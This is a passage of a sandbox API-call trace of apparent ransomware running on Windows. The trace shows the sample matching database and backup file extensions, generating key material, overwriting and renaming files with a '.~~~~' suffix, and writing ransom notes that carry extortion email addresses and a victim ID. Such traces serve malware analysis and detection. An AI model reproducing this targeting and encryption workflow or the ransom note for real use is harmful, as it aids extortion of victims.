	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".MDT") returned 0x0
	[0078.030] lstrlenW (lpString=".SQB") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".SQB") returned 0x0
	[0078.030] lstrlenW (lpString=".vhd") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".vhd") returned 0x0
	[0078.030] lstrlenW (lpString=".bac") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".bac") returned 0x0
	[0078.030] lstrlenW (lpString=".mdf") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".mdf") returned 0x0
	[0078.031] lstrlenW (lpString=".BAK") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".BAK") returned 0x0
	[0078.031] lstrlenW (lpString=".BAC") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".BAC") returned 0x0
	[0078.031] lstrlenW (lpString=".dbs") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dbs") returned 0x0
	[0078.031] lstrlenW (lpString=".vhdx") returned 5
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".vhdx") returned 0x0
	[0078.031] lstrlenW (lpString=".NDF") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".NDF") returned 0x0
	[0078.031] lstrlenW (lpString=".dat") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dat") returned 0x0
	[0078.031] lstrlenW (lpString=".DBS") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DBS") returned 0x0
	[0078.031] lstrlenW (lpString=".CKP") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".CKP") returned 0x0
	[0078.031] lstrlenW (lpString=".edb") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".edb") returned 0x0
	[0078.031] lstrlenW (lpString=".PST") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".PST") returned 0x0
	[0078.031] lstrlenW (lpString=".dbf") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dbf") returned 0x0
	[0078.031] lstrlenW (lpString=".SQL") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".SQL") returned 0x0
	[0078.031] lstrlenW (lpString=".pst") returned 4
	[0078.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".pst") returned 0x0
	[0078.031] lstrlenW (lpString=".dbv") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dbv") returned 0x0
	[0078.032] lstrlenW (lpString=".SDF") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".SDF") returned 0x0
	[0078.032] lstrlenW (lpString=".dtxs") returned 5
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dtxs") returned 0x0
	[0078.032] lstrlenW (lpString=".db3") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".db3") returned 0x0
	[0078.032] lstrlenW (lpString=".OST") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".OST") returned 0x0
	[0078.032] lstrlenW (lpString=".dbx") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dbx") returned 0x0
	[0078.032] lstrlenW (lpString=".DB3") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DB3") returned 0x0
	[0078.032] lstrlenW (lpString=".DAT") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DAT") returned 0x0
	[0078.032] lstrlenW (lpString=".VHDX") returned 5
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".VHDX") returned 0x0
	[0078.032] lstrlenW (lpString=".ndf") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".ndf") returned 0x0
	[0078.032] lstrlenW (lpString=".DB") returned 3
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DB") returned 0x0
	[0078.032] lstrlenW (lpString=".sql") returned 4
	[0078.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".sql") returned 0x0
	[0078.032] lstrlenW (lpString=".MYD") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".MYD") returned 0x0
	[0078.033] lstrlenW (lpString=".DBT") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DBT") returned 0x0
	[0078.033] lstrlenW (lpString=".ACCDB") returned 6
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".ACCDB") returned 0x0
	[0078.033] lstrlenW (lpString=".fdb") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".fdb") returned 0x0
	[0078.033] lstrlenW (lpString=".bak") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".bak") returned 0x0
	[0078.033] lstrlenW (lpString=".myd") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".myd") returned 0x0
	[0078.033] lstrlenW (lpString=".DTXS") returned 5
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DTXS") returned 0x0
	[0078.033] lstrlenW (lpString=".ckp") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".ckp") returned 0x0
	[0078.033] lstrlenW (lpString=".dbt") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dbt") returned 0x0
	[0078.033] lstrlenW (lpString=".db") returned 3
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".db") returned 0x0
	[0078.033] lstrlenW (lpString=".TXT") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".TXT") returned 0x0
	[0078.033] lstrlenW (lpString=".MDF") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".MDF") returned 0x0
	[0078.033] lstrlenW (lpString=".bdb") returned 4
	[0078.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".bdb") returned 0x0
	[0078.034] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0078.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.034] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0078.035] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.035] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0078.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0078.035] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19802517009) returned 1
	[0078.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98794b30, dwHighDateTime=0x1d60e1e)) 
	[0078.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0078.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0078.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0078.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9998
	[0078.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9998 | out: hHeap=0x300000) returned 1
	[0078.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0078.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0078.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.153] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0078.153] GetLastError () returned 0x0
	[0078.153] GetLastError () returned 0x0
	[0078.153] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0078.153] GetLastError () returned 0x0
	[0078.156] GetLastError () returned 0x0
	[0078.179] ReadFile (in: hFile=0x130, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x11d78, lpOverlapped=0x0) returned 1
	[0078.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffee288, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.196] WriteFile (in: hFile=0x130, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x11d78, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x11d78, lpOverlapped=0x0) returned 1
	[0078.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0078.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.197] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.197] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.197] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.197] CloseHandle (hObject=0x130) returned 1
	[0078.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.198] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.~~~~")) returned 1
	[0078.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0078.198] GetLastError () returned 0x0
	[0078.198] RtlWakeConditionVariable () returned 0x365f70
	[0078.198] GetCurrentThreadId () returned 0x3a4
	[0078.199] GetCurrentThreadId () returned 0x3a4
	[0078.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0078.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd58 | out: hHeap=0x300000) returned 1
	[0078.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0078.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.200] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.200] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.202] CloseHandle (hObject=0x130) returned 1
	[0078.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0078.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.202] RtlWakeConditionVariable () returned 0x365f70
	[0078.202] GetCurrentThreadId () returned 0x3a4
	[0078.202] GetCurrentThreadId () returned 0x3a4
	[0078.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6c70 | out: hHeap=0x300000) returned 1
	[0078.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd20 | out: hHeap=0x300000) returned 1
	[0078.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6c70
	[0078.202] lstrlenW (lpString=".scr") returned 4
	[0078.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.202] lstrlenW (lpString=".cmd") returned 4
	[0078.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.202] lstrlenW (lpString=".dll") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.203] lstrlenW (lpString=".dll.mui") returned 8
	[0078.203] lstrlenW (lpString=".bat") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.203] lstrlenW (lpString=".cpl") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.203] lstrlenW (lpString=".sys") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.203] lstrlenW (lpString=".msc") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.203] lstrlenW (lpString=".com") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.203] lstrlenW (lpString=".lnk") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.203] lstrlenW (lpString=".msp") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.203] lstrlenW (lpString=".pif") returned 4
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.203] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6c70 | out: hHeap=0x300000) returned 1
	[0078.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.204] RtlWakeConditionVariable () returned 0x365f70
	[0078.204] GetCurrentThreadId () returned 0x3a4
	[0078.204] GetCurrentThreadId () returned 0x3a4
	[0078.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0078.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dcb0 | out: hHeap=0x300000) returned 1
	[0078.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0078.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.204] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.204] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.206] CloseHandle (hObject=0x130) returned 1
	[0078.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0078.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.206] RtlWakeConditionVariable () returned 0x365f70
	[0078.206] GetCurrentThreadId () returned 0x3a4
	[0078.206] GetCurrentThreadId () returned 0x3a4
	[0078.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0078.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8d18 | out: hHeap=0x300000) returned 1
	[0078.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a60 | out: hHeap=0x300000) returned 1
	[0078.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8d18
	[0078.206] lstrlenW (lpString=".scr") returned 4
	[0078.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".scr") returned 0x0
	[0078.206] lstrlenW (lpString=".cmd") returned 4
	[0078.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".cmd") returned 0x0
	[0078.206] lstrlenW (lpString=".dll") returned 4
	[0078.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".dll") returned 0x0
	[0078.206] lstrlenW (lpString=".bat") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".bat") returned 0x0
	[0078.207] lstrlenW (lpString=".cpl") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".cpl") returned 0x0
	[0078.207] lstrlenW (lpString=".sys") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".sys") returned 0x0
	[0078.207] lstrlenW (lpString=".msc") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".msc") returned 0x0
	[0078.207] lstrlenW (lpString=".com") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".com") returned 0x0
	[0078.207] lstrlenW (lpString=".lnk") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".lnk") returned 0x0
	[0078.207] lstrlenW (lpString=".msp") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".msp") returned 0x0
	[0078.207] lstrlenW (lpString=".pif") returned 4
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch=".pif") returned 0x0
	[0078.207] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8d18 | out: hHeap=0x300000) returned 1
	[0078.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0078.208] RtlWakeConditionVariable () returned 0x365f70
	[0078.208] GetCurrentThreadId () returned 0x3a4
	[0078.208] GetCurrentThreadId () returned 0x3a4
	[0078.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
